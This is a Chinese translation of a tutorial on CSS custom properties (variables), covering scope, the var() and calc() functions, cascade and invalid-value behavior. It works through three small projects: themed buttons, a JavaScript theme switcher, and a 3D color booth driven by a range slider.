[Codepen](https://codepen.io/ohansemmanuel/full/EoBLgd/) 上玩一玩。\n\n注意：本文假定你对 CSS 已驾轻就熟。如果你对 CSS 掌握地不是很好，或者想学习如何创作出惊艳的 UI 效果，我建议你去学习我的 [CSS 进阶课程](https://bit.ly/learn_css)（共 85 课时的付费课程）。本文内容是该课程的一个节选。😉\n\n### 为何变量如此重要\n\n如果你对预处理器和原生 CSS 中的变量并不熟悉的话，以下几个原因可以为你解答为何变量如此重要。\n\n#### **原因 #1：使得代码更可读**\n\n无需多言，你就可以判断出，变量使得代码可读性更好，更易于维护。\n\n#### **原因 #2：易于在大型文档中进行修改**\n\n如果把所有的常量都维护在一个单独文件中，想改动某一变量时就无需在上千行代码间来回跳转进行修改。\n\n这变得非常容易，仅仅在一个地方进行修改，就搞定了。\n\n#### **原因 #3：定位打字错误更快**\n\n在多行代码中定位错误非常痛苦，更痛苦的是错误是由打字错误造成的，它们非常难定位。善于使用变量可以免除这些麻烦。\n\n至此，可读性和可维护性是主要优点。\n\n感谢 CSS 变量，现在我们在原生 CSS 中也能享受到以上这些优点了。\n\n### 定义 CSS 变量\n\n先以你已经很熟悉的东西开始：JavaScript 中的变量。\n\nJavaScript 中，一个简单的变量声明会像这样：\n\n```\nvar amAwesome;\n```\n\n然后你像这样可以赋值给它：\n\n```\namAwesome = \"awesome string\"\n```\n\n在 CSS 中，以两个横线开头的“属性”都是 CSS 变量。\n\n```\n/*你可以找到变量吗？ */\n.block {\n color: #8cacea;\n--color: blue\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/0%2A2Pl5qBF8DCTGL_np.png)\n\nCSS 变量也被称为“自定义属性”。\n\n### CSS 变量作用域\n\n还有一点需要注意。\n\n请记住 JavaScript 中变量是有作用域的，要么是`全局作用域`，要么就是`局部作用域`。\n\nCSS 变量也是如此。\n\n思考一下下面这个例子：\n\n```\n:root {\n  --main-color: red\n}\n```\n\n`:root` 选择器允许你定位到 DOM 中的最顶级元素或文档树。\n\n所以，这种方式声明的变量就属于具有全局作用域的变量。\n\n明白了吗？\n\n![](http://o7ts2uaks.bkt.clouddn.com/0%2AGLjARI5CCGA3xJAx.png)\n\n局部变量与全局变量。\n\n### 示例 1\n\n假设你想创建一个 CSS 变量来存储站点的主题颜色。\n\n你会怎么做呢？\n\n1. 创建一个作用域选择器。通过 `:root` 创建一个全局变量。\n\n```\n:root {\n\n}\n```\n\n2. 定义变量\n\n```\n:root {\n --primary-color: red\n}\n```\n\n请记住，在 CSS 中，以两个横线开头的“属性”都是 CSS 变量，比如 `--color`\n\n就是这么简单。\n\n### 使用 CSS 变量\n\n变量一旦被定义并赋值，你就可以在属性值内使用它了。\n\n但是有个小问题。\n\n如果你用过预处理器的话，一定已经习惯通过引用变量名来使用该变量了。比如：\n\n```\n$font-size: 20px\n\n.test {\n  font-size: $font-size\n}\n```\n\n原生 CSS 变量有些不同，你需要通过 `var()` 函数来引用变量。\n\n在上面这个例子中，使用 CSS 变量就应该改成这样：\n\n```\n:root {\n  --font-size: 20px\n}\n\n.test {\n  font-size: var(--font-size)\n}\n```\n\n两种写法大不一样。\n\n![](http://o7ts2uaks.bkt.clouddn.com/0%2AGv8Nci9VTrJBxpBe.png)\n\n请记得使用 var 函数。\n\n一旦你习惯了这种方式，就会爱上 CSS 变量的。\n\n另一个重要的注意事项是，在 Sass 这类预处理器中，你可以在任意地方使用变量，做各种计算，但是需要注意，在原生 CSS 中，你只能将变量设置为属性值。\n\n```\n/*这是错的*/\n.margin {\n--side: margin-top;\nvar(--side): 20px;\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_vtIhP9EGm_vTxeio.png)\n\n由于属性名非法，这段声明会抛出语法错误\n\nCSS 变量也不能做数学计算。如果需要的话，可以通过 CSS 的 `calc()` 函数进行计算。接下来我们会通过示例来阐述。\n\n```\n/*这是错的*/\n.margin {\n--space: 20px * 2;\nfont-size:  var(--space);  // 并非 40px\n}\n```\n\n如果你必须要做数学计算的话，可以像这样使用 calc() 函数：\n\n```\n.margin {\n--space: calc(20px * 2);\nfont-size:  var(--space);  /*等于 40px*/\n}\n```\n\n### 关于属性的一些事\n\n以下是几个需要阐述的属性行为：\n\n#### 1. 自定义属性就是普通属性，可以在任意元素上声明自定义属性\n\n在 p，section，aside，root 元素，甚至伪元素上声明自定义属性，都可以运行良好。\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_plpQVof3v3JrzC1P.png)\n\n这些自定义属性工作时与普通属性无异。\n\n#### 2. CSS 变量由普通的继承与级联规则解析\n\n请思考以下代码：\n\n```\ndiv {\n  --color: red;\n}\n\ndiv.test {\n  color: var(--color)\n}\n\ndiv.ew {\n  color: var(--color)\n}\n```\n\n像普通变量一样，`--color` 的值会被 div 元素们继承。\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_GNSU5IDdk7dx3B8t.png)\n\n#### 3. CSS 变量可以通过 `@media` 和其它条件规则变成条件式变量\n\n和其它属性一样，你可以通过 `@media` 代码块或者其它条件规则改变 CSS 变量的值。\n\n举个例子，以下代码会在大屏设备下改变变量 gutter 的值。\n\n```\n:root {\n --gutter: 10px\n}\n\n@media screen and (min-width: 768px) {\n    --gutter: 30px\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_qmsVGjnWjLCKfyvt.png)\n\n对于响应式设计很有用。\n\n#### 4. HTML 的 style 属性中可以使用 CSS 变量。\n\n你可以在行内样式中设置变量值，变量依然会如期运行。\n\n```\n<!--HTML-->\n<html style=\"--color: red\">\n\n<!--CSS-->\nbody {\n  color: var(--color)\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_EQiFgdDyNBQ1AfDk.png)\n\n行内设置变量值。\n\n要注意这一点，CSS 变量是区分大小写的。我为了减小压力，选择都采用小写形式，这件事见仁见智。\n\n```\n/*这是两个不同的变量*/\n:root {\n --color: blue;\n--COLOR: red;\n}\n```\n\n### 解析多重声明\n\n与其它属性相同，多重声明会按照标准的级联规则解析。\n\n举个例子：\n\n```\n/*定义变量*/\n:root { --color: blue; }\ndiv { --color: green; }\n#alert { --color: red; }\n\n/*使用变量*/\n* { color: var(--color); }\n```\n\n根据以上的变量声明，下列元素是什么颜色？\n\n```\n<p>What's my color?</p>\n<div>and me?</div>\n<div id='alert'>\n  What's my color too?\n  <p>color?</p>\n</div>\n```\n\n你想出答案了吗？\n\n第一个 p 元素颜色是 `蓝色`。`p` 选择器上并没有直接的颜色定义，所以它从 `:root` 上继承属性值\n\n```\n:root { --color: blue; }\n```\n\n第一个 `div` 元素颜色是 `绿色`。这个很简单，因为有变量直接定义在 `div` 元素上\n\n```\ndiv { --color: green; }\n```\n\n具有 ID 为 `alert` 的 `div` 元素颜色**不是**绿色，而是 `红色`\n\n```\n#alert { --color: red; }\n```\n\n由于有变量作用域直接是在这个 ID 上，变量所定义的值会覆盖掉其它值。`#alert` 选择器是一个更为特定的选择器。\n\n最后，`#alert` 元素内的 `p` 元素颜色是 `红色`\n\n这个 p 元素上并没有变量声明。由于 `:root` 声明的颜色属性是 `蓝色`，你可能会以为这个 p 元素的颜色也是 `蓝色`。\n\n```\n:root { --color: blue; }\n```\n\n如其它属性一样， CSS 变量是会继承的，因此 p 元素的颜色值继承自它的父元素 `#alert`\n\n```\n#alert { --color: red; }\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_lGioVJqkKo0N91R9eMvywQ.png)\n\n小测验的答案。\n\n### 解决循环依赖\n\n循环依赖会出现在以下几个场景中：\n\n1. 当一个变量依赖自己本身时，也就是说这个变量通过 `var()` 函数指向自己时。\n\n```\n:root {\n  --m: var(--m)\n}\n\nbody {\n  margin: var(--m)\n}\n```\n\n2. 两个以上的变量互相引用。\n\n```\n:root {\n  --one: calc(var(--two) + 10px);\n  --two: calc(var(--one) - 10px);\n}\n```\n\n请注意不要在你的代码中引入循环依赖。\n\n### 使用非法变量会怎样？\n\n语法错误机制已被废弃，非法的 `var()` 会被默认替换成属性的初始值或继承的值。\n\n思考一下下面这个例子：\n\n```\n:root { --color: 20px; }\np { background-color: red; }\np { background-color: var(--color); }\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_fa59XRLGKo5Rsqm4.png)\n\n正如我们所料，`--color` 变量会在 `var()` 中被替换，但是替换后，属性值 `background-color: 20px` 是非法的。由于 `background-color` 不是可继承的属性，属性值将默认被替换成它的初始值即 `transparent`。\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_uVic7R1o96n-T1l5.png)\n\n注意，如果你没有通过变量替换，而是直接写 `background-color: 20px` 的话，这个背景属性声明就是非法的，则使用之前的声明定义。\n\n![](http://o7ts2uaks.bkt.clouddn.com/0_9HzCVQdyvqeo5dZq.png)\n\n当你自己写声明时，情况就不一样了。\n\n### 使用单独符号时要小心\n\n当你用下面这种方式来设置属性值时，`20px` 则会按照单独符号来解析。\n\n```\nfont-size: 20px\n```\n\n有一个简单的方法去理解，`20px` 这个值可以看作是一个单独的 “实体”。\n\n在使用 CSS 变量构建单独符号时需要非常小心。\n\n举个例子，思考以下代码：\n\n```\n:root {\n --size: 20\n}\n\ndiv {\n  font-size: var(--size)px /*这是错的*/\n}\n```\n\n可能你会以为 `font-size` 的值是 `20px`，那你就错了。\n\n浏览器的解释结果是 `20 px`\n\n请注意 `20` 后面的空格\n\n因此，如果你必须创建单独符号的话，请用变量来代表整个符号。比如 `--size: 20px`，或者使用 `calc` 函数比如 `calc(var(--size) * 1px)` 中的 `--size` 就是等于 `20`\n\n如果你没看懂的话也不用担心，在下个示例中我会解释地更详细。\n\n### 一颗赛艇！\n\n现在我们已经到了期待已久的章节了。\n\n我将通过构建几个有用的小项目，在实际应用中引导你了解之前所学的理论。\n\n让我们开始吧。\n\n### 项目 1： 使用 CSS 变量创建一个有变化效果的组件\n\n思考一下需要构建两个不同按钮的场景，两个按钮的基本样式相同，只有些许不同。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_qElS3I43_SdpdRA8-m2iew%20%281%29.gif)\n\n这个场景中，按钮的 `background-color` 和 `border-color` 属性不同。\n\n那么你会怎么做呢？\n\n这里有一个典型解决方案。\n\n创建一个叫 `.btn` 的基础类，然后加上用于变化的类。举个例子：\n\n```\n<button class=\"btn\">Hello</button>\n<button class=\"btn red\">Hello</button>\n```\n\n`.btn` 包括了按钮上的基础样式，如：\n\n```\n.btn {\n  padding: 2rem 4rem;\n  border: 2px solid black;\n  background: transparent;\n  font-size: 0.6em;\n  border-radius: 2px;\n}\n\n/*hover 状态下*/\n.btn:hover {\n  cursor: pointer;\n  background: black;\n  color: white;\n}\n```\n\n在哪里引入变化量呢？\n\n这里：\n\n```\n/* 变化 */\n\n.btn.red {\n  border-color: red\n}\n.btn.red:hover {\n  background: red\n}\n```\n\n你看到我们将代码复制到好几处么？这还不错，但是我们可以用 CSS 变量来做的更好。\n\n第一步是什么？\n\n用 CSS 变量替代变化的颜色，别忘了给变量加上默认值。\n\n```\n.btn {\n   padding: 2rem 4rem;\n   border: 2px solid var(--color, black);\n   background: transparent;\n   font-size: 0.6em;\n   border-radius: 2px;\n }\n\n /*hover 状态下*/\n .btn:hover {\n  cursor: pointer;\n   background: var(--color, black);\n   color: white;\n }\n```\n\n当你写下 `background: **var(--color, black)**` 时，就是将背景色的值设置为变量 `--color` 的值，如果变量不存在的话则使用默认值 `**black**`\n\n这就是设置变量默认值的方法，与在 JavaScript 和其它语言中的做法一样。\n\n这是使用变量的好处。\n\n使用了变化量，就可以用下面这种方法来应用变量的新值：\n\n```\n.btn.red {\n   --color: red\n }\n```\n\n就是这么简单。现在当使用 `.red` 类时，浏览器注意到不同的 `--color` 变量值，就会立即更新按钮的样式了。\n\n如果你要花很多时间来构建可复用组件的话，使用 CSS 变量是一个非常好的选择。\n\n这是并排比较：\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_bdT9ITBx1wpXjLOYoWBI7w.png)\n\n不用 CSS 变量 VS 使用 CSS 变量。\n\n如果你有非常多的可变选项的话，使用 CSS 变量还会为你节省很多打字时间。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_erZb3Z5FtTIR8EV9fl0QOA.png)\n\n看出不同了吗？？\n\n### 项目 2： 使用 CSS 变量实现主题定制\n\n我很确定你之前一定遇到过主题定制的需求。支持主题定制的站点让用户有了自定义的体验，感觉站点在自己的掌控之中。\n\n下面是我写的一个简单示例：\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2Ar2TrlsC-gWRD5Hu6Tp2gjQ.gif)\n\n使用 CSS 变量来实现有多么容易呢？\n\n我们来看看。\n\n在此之前，我想提醒你，这个示例非常重要。通过这个示例我将引导你理解使用 JavaScript 更新 CSS 变量的思想。\n\n非常好玩！\n\n你会爱上它的！\n\n### 我们究竟想做什么。\n\nCSS 变量的美在于其本质是响应式的。一旦 CSS 变量更新了，任意带有 CSS 变量的属性的值也都会随之更新。\n\n从概念上讲，下面这张图解释了这个示例的流程。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_ZONC-xXCXnGc8nr_QMv8rg.png)\n\n流程。\n\n因此，我们需要给点击事件监听器写一些 JavaScript 代码。\n\n在这个简单的示例里，文本与页面的颜色和背景色都是基于 CSS 变量的。\n\n当你点击页面上方的按钮时，JavaScript 会将 CSS 变量中的颜色切换成别的颜色，页面的背景色也就随之更新。\n\n这就是全部了。\n\n还有一件事。\n\n当我说 CSS 变量切换成别的颜色时，是怎么做到的呢？\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_FeTfEPsJuDQNGDuZQQBIew.png)\n\n行内设置变量。\n\n即使是在行内设置，CSS 变量也会生效。在 JavaScript 中，我们控制了文档的根节点，然后就可以在行内给 CSS 变量设置新的值了。\n\n明白了吗？\n\n我们说了太多了，现在该干些实际的了。\n\n### 结构初始化\n\n初始化结构是这样的：\n\n```\n<div class=\"theme\">\n  <button value=\"dark\">dark</button>\n  <button value=\"calm\">calm</button>\n  <button value=\"light\">light</button>\n</div>\n\n<article>\n...\n</article>\n```\n\n结构中有三个父元素为 `.theme` 的按钮元素。为了看起来尽可能简短，我将 `article` 元素内的内容截断了。`article` 元素内就是页面的内容。\n\n### 设置页面样式\n\n项目的成功始于页面的样式。这个技巧非常简单。\n\n我们设置页面样式的 `background-color` 和 `color` 是基于变量的，而不是写死的属性值。\n\n这就是我说的：\n\n```\nbody {\n  background-color: var(--bg, white);\n  color: var(--bg-text, black)\n}\n```\n\n这么做的原因显而易见。无论何时按钮被点击，我们都会改变文档中两个变量的值。\n\n根据变量值的改变，页面的整体样式也就随之更新。小菜一碟。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_HmDLDbOPHpEE2F8x4aSDYA.png)\n\n让我们继续前进，解决在 JavaScript 中更新属性值的问题。\n\n#### 进入 JavaScript\n\n我将直接把这个项目所需的全部 JavaScript 展示出来。\n\n```\nconst root = document.documentElement\nconst themeBtns = document.querySelectorAll('.theme > button')\n\nthemeBtns.forEach((btn) => {\n  btn.addEventListener('click', handleThemeUpdate)\n})\n\nfunction handleThemeUpdate(e) {\n  switch(e.target.value) {\n    case 'dark':\n      root.style.setProperty('--bg', 'black')\n      root.style.setProperty('--bg-text', 'white')\n      break\n    case 'calm':\n       root.style.setProperty('--bg', '#B3E5FC')\n       root.style.setProperty('--bg-text', '#37474F')\n      break\n    case 'light':\n      root.style.setProperty('--bg', 'white')\n      root.style.setProperty('--bg-text', 'black')\n      break\n  }\n}\n```\n\n不要被这段代码吓到，它比你想象的要简单。\n\n首先，保存一份对根节点的引用， `const root = document.documentElement`\n\n这里的根节点就是 `HTML` 元素。你很快就会明白为什么这很重要。如果你很好奇的话，我可以先告诉你一点，给 CSS 变量设置新值时需要根节点。\n\n同样地，保存一份对按钮的引用， `const themeBtns = document.querySelectorAll('.theme > button')`\n\n`querySelectorAll` 生成的数据是可以进行遍历的类数组结构。遍历按钮，然后给按钮设置点击事件监听。\n\n这里是怎么做：\n\n```\nthemeBtns.forEach((btn) => {\n  btn.addEventListener('click', handleThemeUpdate)\n})\n```\n\n`handleThemeUpdate` 函数去哪了？我们接下来就会讨论这个函数。\n\n每个按钮被点击后，都会调用回调函数 `handleThemeUpdate`。因此知道是哪个按钮被点击以及后续该执行什么正确操作很重要。\n\n鉴于此，我们使用了 switch `操作符`，基于被点击的按钮的值来执行不同的操作。\n\n接下来再看一遍这段 JavaScript 代码，你会理解地更好一些。\n\n### 项目 3： 构建 CSS 变量展位\n\n避免你错过它，这是我们即将构建的项目：\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2AE6H-wT6a0BDR9OJK7Z0dTA.gif)\n\n请记住盒子的颜色是动态更新的，以及盒子容器是随着输入范围值的变化进行 3D 旋转的。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1%2Aiy_MjZVlp-H0KUQa7H7fUg.gif)\n\n你可以直接在 [Codepen](https://codepen.io/ohansemmanuel/full/EoBLgd/) 上玩一下这个项目。\n\n这是使用 JavaScript 更新 CSS 变量以及随之而来的响应式特性的绝佳示例。\n\n让我们来看看如何来构建。\n\n#### 结构\n\n以下是所需的组件。\n\n1.  一个范围输入框\n2.  一个装载使用说明文字的容器\n3.  一个装载盒子列表的 section，每个盒子包含输入框\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_39k9sbEsldtRtJ1-Woq0rQ.png)\n\n结构变得很简单。\n\n以下就是：\n\n```\n<main class=\"booth\">\n  <aside class=\"slider\">\n    <label>Move this 👇 </label>\n    <input class=\"booth-slider\" type=\"range\" min=\"-50\" max=\"50\" value=\"-50\" step=\"5\"/>\n  </aside>\n\n  <section class=\"color-boxes\">\n    <div class=\"color-box\" id=\"1\"><input value=\"red\"/></div>\n    <div class=\"color-box\" id=\"2\"><input/></div>\n    <div class=\"color-box\" id=\"3\"><input/></div>\n    <div class=\"color-box\" id=\"4\"><input/></div>\n    <div class=\"color-box\" id=\"5\"><input/></div>\n    <div class=\"color-box\" id=\"6\"><input/></div>\n  </section>\n\n  <footer class=\"instructions\">\n    👉🏻 Move the slider<br/>\n    👉🏻 Write any color in the red boxes\n  </footer>\n</main>\n```\n\n以下几件事需要注意。\n\n1.  范围输入代表了从 `-50` 到 `50` 范围的值，step 值为 `5`。因此范围输入的最小值就是 `-50`\n2.  如果你并不确定范围输入是否可以运行，可以在 [w3schools](https://www.w3schools.com/jsref/dom_obj_range.asp) 上检查以下\n3.  注意类名为 `.color-boxes` 的 section 是如何包含其它 `.color-box` 容器的。这些容器中包含输入框。\n4.  第一个输入框有默认值为 red。\n\n理解了文档结构后，给它添加样式：\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_LbgNgLeTjACXCfDBExkqgg.png)\n\n1.  把 `.slider` 和 `.instructions` 设置为脱离文档流，将它们的 position 设置为 absolute\n2.  将 `body` 元素的背景色设置为日出的颜色，并在左下角用花朵作装饰\n3.  将 `color-boxes` 容器定位到中间\n4.  给 `color-boxes` 容器添加样式\n\n让我们把这些任务都完成。\n\n以下代码会完成第一步。\n\n```\n/* Slider */\n.slider,\n.instructions {\n  position: absolute;\n  background: rgba(0,0,0,0.4);\n  padding: 1rem 2rem;\n  border-radius: 5px\n}\n.slider {\n  right: 10px;\n  top: 10px;\n}\n.slider > * {\n  display: block;\n}\n\n\n/* Instructions */\n.instructions {\n  text-align: center;\n  bottom: 0;\n  background: initial;\n  color: black;\n}\n```\n\n这段代码并不像你想的那般复杂。希望你能通读一遍并能读懂，如果没有的话，可以留下评论或者发个 twitter。\n\n给 `body` 添加样式会涉及到更多内容，希望你足够了解 CSS。\n\n既然我们想用背景颜色和背景图来设置元素的样式，那么使用 `background` 简写属性设置多个背景属性可能是最佳选择。\n\n就是这样的：\n\n```\nbody {\n  margin: 0;\n  color: rgba(255,255,255,0.9);\n  background: url('http://bit.ly/2FiPrRA') 0 100%/340px no-repeat, var(--primary-color);\n  font-family: 'Shadows Into Light Two', cursive;\n}\n```\n\n`url` 是向日葵图片的链接。\n\n接下来设置的 `0 100%` 代表图片在背景中的位置。\n\n这个插图展示了 CSS 的 background position 属性是如何工作的：\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_uFlBKNdQ-FOcZ-XaACi4uA.png)\n\n来自于： [CSS 进阶指南](http://bit.ly/learn_css)\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_NOPEnEV_H2RB8XYFxEcFpA.png)\n\n来自于： [CSS 进阶指南](http://bit.ly/learn_css)\n\n正斜杠后面的代表 `background-size` 被设置为 `340px`，如果将它设置得更小的话，图片也会变得更小。\n\n`no-repeat`，你可能已经猜到它是做什么的。它避免背景图片自我复制，铺满背景。\n\n最后，跟在逗号后面的是第二个背景属性声明。这一次，我们仅仅将 `background-color` 设置为 `var(primary-color)`\n\n哇，这是个变量。\n\n这意味着你必须定义变量。 就是这样：\n\n```\n:root {\n  --primary-color: rgba(241,196,15 ,1)\n}\n```\n\n这里讲主题色设置为日出黄。没什么大问题。马上，我们就会在这里设置更多的变量。\n\n现在，我们将 `color-boxes` 定位到中间\n\n```\nmain.booth {\n  min-height: 100vh;\n\n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n```\n\n主容器充当 flex 容器，它的子元素会正确地被定位到页面中间。也就是说我们的 `color-box` 容器会被定位到页面中间。\n\n我们把 color-boxes 以及它的子元素容器变得更好看一些。\n\n首先，是子元素：\n\n```\n.color-box {\n  padding: 1rem 3.5rem;\n  margin-bottom: 0.5rem;\n  border: 1px solid rgba(255,255,255,0.2);\n  border-radius: 0.3rem;\n  box-shadow: 10px 10px 30px rgba(0,0,0,0.4);\n}\n```\n\n这就加上了好看的阴影，使得效果更酷炫了。\n\n还没结束，我们给整体的 `container-boxes` 容器加上样式：\n\n```\n/* Color Boxes */\n.color-boxes {\n  background: var(--secondary-color);\n  box-shadow: 10px 10px 30px rgba(0,0,0,0.4);\n  border-radius: 0.3rem;\n\n  transform: perspective(500px) rotateY( calc(var(--slider) * 1deg));\n  transition: transform 0.3s\n}\n```\n\n哇！\n\n变得太复杂了。\n\n去掉一些。\n\n变得简单点：\n\n```\n.color-boxes {\n   background: var(--secondary-color);\n   box-shadow: 10px 10px 30px rgba(0,0,0,0.4);\n   border-radius: 0.3rem;\n}\n```\n\n你知道效果会变成什么样，对吧？\n\n这里有个新变量，需要在根元素中声明添加进来。\n\n```\n:root {\n  --primary-color: rgba(241,196,15 ,1);\n  --secondary-color: red;\n}\n```\n\n第二个颜色是红色，我们会给容器加上红色的背景。\n\n接下来这部分可能会让你觉得难以理解：\n\n```\n/* Color Boxes */\n.color-boxes {\n  transform: perspective(500px) rotateY( calc(var(--slider) * 1deg));\n  transition: transform 0.3s\n}\n```\n\n又是我们会将 transform 的属性值简写成上面这样。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_oNaNYDRDRZPSEga9Oo4bPw.png)\n\n举个例子：\n\n```\ntransform: perspective(500px) rotateY( 30deg);\n```\n\n这个 transform 简写用了两个不同的函数。一个是视角，另一个是沿着 Y 轴旋转。\n\n那么 `perspective` 函数 和 `rotateY` 函数是做什么的呢？\n\nperspective() 函数应用于 3D 空间内旋转的元素。它激活了三维空间，并沿 z 轴给出元素的深度。\n\n可以在 [codrops](https://tympanus.net/codrops/css_reference/transform/#section_perspective) 上阅读更多有关 perspective 的知识。\n\n`rotateY` 函数是干什么的？\n\n激活三维空间后，元素具有了 x，y，z 轴。`rotateY` 就是元素围绕 `Y` 平面旋转。\n\n下面这个 [codrops](https://tympanus.net/codrops/css_reference/transform/#section_rotate3d) 的图对于视觉化理解很有帮助。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_kFdzSl4wwyPJt_Crmbtuow.png)\n\n[Codrops](https://tympanus.net/codrops/css_reference/transform/#section_rotate3d)\n\n我希望这能让你更明白一些。\n\n回到之前的话题。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_oNaNYDRDRZPSEga9Oo4bPw.png)\n\n当你回到这里，你知道哪个函数影响 `.container-box` 的旋转了吗？\n\n是 rotateY 函数使得盒子沿着 Y 周旋转。\n\n由于传入 rotateY 函数的值将被 JavaScript 更新，这个值也将通过变量来传入。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_oL_Ik1Xg_ByTc28g2B1ESg.png)\n\n为什么要给变量乘上 1deg？\n\n作为一般的经验法则，为了显式地更灵活，建议在构建单独符号时变量中储存没有单位的值。\n\n通过 `calc` 函数，你可以用乘法将它们转化成任何单位。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_jsB27oUUYY48n3s9wAmd_Q.png)\n\n这意味着你可以为所欲为。将作为比例的 `deg` 转换为视窗单位 `vw` 也可以。\n\n在这个场景中，我们通过 “数字” 乘上 1deg 将数字转换成角度\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_5j1qhUmE2pB99qw17Zp4iA.png)\n\n由于 CSS 不懂数学，你需要将公式传入 calc 函数，这样 CSS 才能正确计算。\n\n完成之后我们就可以继续了。我们可以在 JavaScript 中用各种方法来更新它。\n\n现在，只剩下一点点的 CSS 代码需要写了。\n\n就是这些：\n\n```\n/* 给每个盒子添加颜色 */\n.color-box:nth-child(1) {\n  background: var(--bg-1)\n}\n.color-box:nth-child(2) {\n  background: var(--bg-2)\n}\n.color-box:nth-child(3) {\n  background: var(--bg-3)\n}\n.color-box:nth-child(4) {\n  background: var(--bg-4)\n}\n.color-box:nth-child(5) {\n  background: var(--bg-5)\n}\n.color-box:nth-child(6) {\n  background: var(--bg-6)\n}\n```\n\n这些奇怪的东西是什么？\n\n首先，nth-child 选择器用来选择子盒子。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_T5oqa3Kh5ChIcgi5ldqXKg.png)\n\n这里需要一些前瞻。我们知道，每个盒子的背景色都会更新。我们也知道背景色需要用变量表示，以在 JavaScript 中更新。对吧？\n\n接下来：\n\n```\n.color-box:nth-child(1) {\n  background: var(--bg-1)\n}\n```\n\n简单吧。\n\n这里有个问题。如果变量不存在的话怎么办？\n\n我们一个回退方式。\n\n这是可行的：\n\n```\n.color-box:nth-child(1) {\n  background: var(--bg-1, red)\n}\n```\n\n在这个特殊实例中，我选择**不提供**任何回退方式。\n\n如果某个属性值中使用的变量非法，属性将使用其初始值。\n\n因此，当 `--bg-1` 非法或者不可用时，背景色会默认切换成它的初始颜色或者透明。\n\n初始值指向属性还未显式设置时的值。比如说，如果你没有给元素设置 `background-color` 属性的话，它的背景色会默认为 `transparent`\n\n初始值是一种默认属性值。\n\n### 写点 JavaScript\n\n在 JavaScript 这一边需要做的事情很少。\n\n首先要处理一下 slider。\n\n仅仅五行代码就可以！\n\n```\nconst root = document.documentElement\nconst range = document.querySelector('.booth-slider')\n\n// 一旦 slider 的范围值发生变化，就执行回调\nrange.addEventListener('input', handleSlider)\n\nfunction handleSlider (e) {\n  let value = e.target.value\n  root.style.setProperty('--slider', value)\n}\n```\n\n这很简单，对吧？\n\n我来解释一下。\n\n首先，保存一份 slider 元素的引用，`const range = document.querySelector('.booth-slider')`\n\n设置一个事件监听器，一旦范围输入值发生变化就会触发，`range.addEventListener('input', handleSlider)`\n\n写一个回调函数， `handleSlider`\n\n```\nfunction handleSlider (e) {\n  let value = e.target.value\n  root.style.setProperty('--slider', value)\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_bQwZp0psRdiNn2harZW-HQ.png)\n\n`root.style.setProperty('--slider', value)` 的意思是获取 `root` 元素（HTML），读取它的样式，并给它设置属性。\n\n### 处理颜色变化\n\n这与处理 slider 值的变化一样简单。\n\n这么做就可以：\n\n```\nconst inputs = document.querySelectorAll('.color-box > input')\n\n// 一旦输入值发生变化，执行回调\ninputs.forEach(input => {\n  input.addEventListener('input', handleInputChange)\n})\n\nfunction handleInputChange (e) {\n  let value = e.target.value\n  let inputId = e.target.parentNode.id\n  let inputBg = `--bg-${inputId}`\n  root.style.setProperty(inputBg, value)\n}\n```\n\n保存一份所有文本输入的引用， `const inputs = document.querySelectorAll('.color-box > input')`\n\n给每个输入框加上事件监听：\n\n```\ninputs.forEach(input => {\n   input.addEventListener('input', handleInputChange)\n})\n```\n\n写 `handleInputChange` 函数：\n\n```\nfunction handleInputChange (e) {\n  let value = e.target.value\n  let inputId = e.target.parentNode.id\n  let inputBg = `--bg-${inputId}`\n  root.style.setProperty(inputBg, value)\n}\n```\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_A3e4duLT1V1-8_NqVF1DGg.png)\n\n嗯……\n\n就是这些！\n\n项目完成了。\n\n### 我遗漏了什么？\n\n当我完成并修改了初稿后才发现我没有提到浏览器支持。那让我来处理这个烂摊子。\n\n对于 CSS 变量的（又名自定义属性）浏览器支持并不差。 浏览器支持性非常好，基本所有的现代浏览器都支持良好（本文写作时已超过 87%）。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_JdhBIufk2SvuY-8U2POD8g.png)\n\n[caniuse](https://caniuse.com/#search=css%20var)\n\n那么，你可以在生产环境使用 CSS 变量吗？当然可以！但是这多大程度上适用与你还需自己判断。\n\n好的一面是，你可以使用像 [Myth](http://www.myth.io) 这样的预处理器来使用 CSS 变量。它将“未来的” CSS 预编译成现在你就可以使用的代码，是不是很赞？\n\n如果你有使用 [postCSS](http://postcss.org) 的经验， 这也同样是一个好方法。这是 [postCSS 的 CSS 变量模块](https://www.npmjs.com/package/postcss-css-variables)。\n\n就这些，我已全部写完。\n\n### 不好，我遇到了问题！\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_Bb085Ip_NKnPDVY7g3lL3g.png)\n\n[购买电子书](https://gum.co/lwaUh) 可以线上阅读, 还能获得 **私人的** slack 邀请，你可以向我咨询任何问题。\n\n这是个公平交易，对吧？\n\n稍后联系！ 💕\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 